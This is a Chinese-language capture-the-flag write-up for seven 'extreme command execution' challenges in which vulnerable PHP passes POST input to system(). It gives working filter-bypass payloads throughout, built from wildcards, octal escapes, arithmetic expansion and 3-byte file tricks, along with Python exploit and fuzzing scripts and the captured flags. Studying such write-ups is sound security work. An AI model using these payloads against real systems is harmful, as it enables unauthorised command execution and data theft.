$(...) 命令替换 Shell 会执行括号 ... 内的内容作为一个子命令,然后用这个子命令的标准输出(stdout) 替换整个 $(...) 结构
$((...)) 算术扩展 Shell 会计算双括号 ... 内的算术表达式,然后用计算结果的数值替换整个 $((...)) 结构
command <<< "string" here-strings 将后面的字符串("string")加上一个换行符,然后作为标准输入(stdin)传递给前面的命令(command)
${} 参数扩展 $variable 是 ${variable} 的简写形式 Bash 不允许在 ${} 花括号内进行命令替换 $() 或算术扩展 $(())
$0 环境变量 表示脚本本身的名字,可以是bash、zsh等
$# 在交互式 Shell 中,没有位置参数传递给 Shell 本身,所以 $# 的值是 0
${#PARAMETER} 获取变量值的字符串长度
极限命令执行1
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*\{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
过滤了除a以外的所有字母,还有通配符*,但是未过滤斜杠/。else其实已经给出提示了,可以用问号通配符?,一个问号匹配一个字符,实现执行/getflag,其实根本用不到小写字母a:
ctf_show=/???????
ctfshow{560f45a8-4d2a-4716-a327-ccb81cd6380a}
极限命令执行2
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
数字,美元符号$,单引号'未被过滤,可以利用shell的$'...'结构执行命令,在单引号内的反斜杠转义序列会被 Shell 解释并转换为对应的字符,比如执行ls:
ctf_show=$'\154\163'
如果没有过滤空格的话可以获取check.php内容,但是由于shell会把$'...'结构里的内容当作一个完整的字符串,所以是无法将命令和参数分离解析的,如果没有空格分开两个结构的话就只能执行可执行程序或不带参数的命令,比如/getflag:
ctf_show=$'\57\147\145\164\146\154\141\147'
ctfshow{523d9f46-8fd1-4c30-8a60-4be733edcbec}
极限命令执行3
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
反斜杠\,单引号',美元符号$,数字0和1,位运算符<,括号()未被过滤,可以通过linux中[base#]n表示数字的方式实现命令执行,先尝试构造ls:
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
这样会报错:command not found: $'\154\163',也就是说还需要再找一个来执行这条语句的方法,可以利用here-strings+$0来实现执行ls:
$0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
同理执行cat /flag,但是要注意一开始传入bash的参数是没有空格的,并不会将要执行的命令和参数分离,所以需要用到两次here-strings,可以写个脚本:
command = "cat /flag"
if " " in command:
r = r"$0<<<$0\<\<\<$\'"
for c in command:
n = bin(int(oct(ord(c)).replace("0o", ""))).replace("0b", "")
r += fr"\\$(($((1<<1))#{n}))"
r += r"\'"
print(r)
最终构造的payload:
$0<<<$0\<\<\<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
ctfshow{9e499982-ff17-4897-a756-7d4df0d82537}
极限命令执行4
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
写个fuzz脚本:
import requests
import string
chars = string.printable
allowchars = ''
for c in chars:
data = {"ctf_show":c}
res = requests.post(url="http://209703e5-7e4c-4cfb-8812-35a44670493f.challenge.ctf.show/", data=data)
if not res.text.endswith('?'):
allowchars += c
print(allowchars)
本题可以用的字符:0!#$&'()<\_{}~
和上一题类似,但是少了数字1,可以利用${##}来构造,表示获取特殊变量$#的字符串长度,由于$#为0,所以长度为1,也就是说${##}结果为1,把原来payload中的的1替换掉即可,同样写个脚本:
command = "cat /flag"
if " " in command:
r = r"$0<<<$0\<\<\<$\'"
for c in command:
n = bin(int(oct(ord(c)).replace("0o", ""))).replace("0b", "")
r += fr"\\$(($((1<<1))#{n}))"
r += r"\'"
r = r.replace("1", "${##}")
print(r)
最终构造的payload:
$0<<<$0\<\<\<$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
ctfshow{903bb694-027f-4476-aa29-e046b3bf07cd}
极限命令执行5
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}
?>
本题可以用的字符:!$&'()<=\_{}~
0没办法直接用,可以想到通过$(())来构造0,但是这样linux会直接识别$$为脚本运行的当前进程ID号即PID,这里要用到感叹号!来替换变量实现绕过,先看如何构造bash:
__=$(())&&${!__}
#也被过滤了,原来用#来实现获取任意数值的方法已经不可行了,可以利用取反~,0取反值为-1,多次重复-1的操作最后再取反仍然可以获得任意数值:
$((~$(()))):-1
$(($((~$(())))$((~$(()))))):-2
$((~$(($((~$(())))$((~$(()))))))):1
注意POST传参时要url编码一下payload:
command = "cat /flag"
if " " in command:
r = r"__=$(())&&${!__}<<<${!__}\<\<\<$\'"
for c in command:
n = int(oct(ord(c)).replace("0o", ""))
r += fr"\\$((~$((" + "$((~$(())))"*(n+1) + "))))"
r += r"\'"
print(r)
ctfshow{a9ad57e1-7483-45e0-ba0d-725a71c8cd21}
极限命令执行6
3字节的限制,先尝试执行ls:
flag.php index.php
根据先前4字节的rce,需要通过创建文件来执行命令,因此读取文件命令最多不能超过2字节。linux中有hd命令,即hexdump,查看文件十六进制视图,可以用于最后获取flag内容
本题可以先利用cp将flag.php内容复制到index.php中,再利用index.php的sleep(1)执行*d*,执行命令hd,参数为index.php,实现读取flag:
exp.py:
import requests
url = "http://8f90d55a-21cc-4a87-8e58-150572acc6a8.challenge.ctf.show/"
# flag.php index.php
payloads = [
">cp", # file: cp flag.php index.php
"*", # execute command: cp flag.php index.php
">hd", # file: cp flag.php hd index.php
]
for payload in payloads:
data = {"ctf_show": payload}
try:
requests.post(url, data, timeout=0.1)
except:
pass
response = requests.post(url, {"ctf_show": "*d*"}) # execute command: hd index.php
print(response.text)
00000000 3c 3f 70 68 70 0a 0a 24 66 6c 61 67 3d 22 63 74 |<?php..$flag="ct|
00000010 66 73 68 6f 77 7b 36 36 63 62 31 66 38 65 2d 39 |fshow{66cb1f8e-9|
00000020 37 64 37 2d 34 66 35 31 2d 39 64 39 37 2d 35 32 |7d7-4f51-9d97-52|
00000030 38 38 34 61 37 32 31 38 38 65 7d 22 3b 0a 0a 3f |884a72188e}";..?|
00000040 3e |>|
00000041
极限命令执行7
提示1:flag在用户家目录里,文件名未知 提示2:可用字符是 数字、字母、特殊符号
<?php
error_reporting(0);
#go back home , your flag is not here!
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 3) {
system($ctfshow);
}
}else{
highlight_file(__FILE__);
}
?>
仍然是3字节的命令执行,明确说明flag在home下,题目执行命令有回显,先fuzz可以执行的2字节命令:
import requests
import string
url = "http://f13f5152-695b-4243-ad72-1fd01ff6c6fd.challenge.ctf.show/"
chars = string.digits + string.ascii_lowercase
for c1 in chars:
for c2 in chars:
c = c1 + c2
data = {"ctf_show": c}
resp = requests.post(url, data)
if resp.text:
print(c)
7z
df
du
ed
id
ls
od
ps
vi
wc
xz
本题可以利用7z和~将/home/当前用户下的文件打包为.7z压缩包放在当前目录下:
>7z
>a
>b
此时当前目录下有文件:
7z a b index.php
再执行* ~,相当于执行7z a b index.php /home/www-data,最后下载b.7z文件解压就能拿到flag
ctfshow{6e690f68-fac8-42a7-be66-099da80f71c8}
参考资料: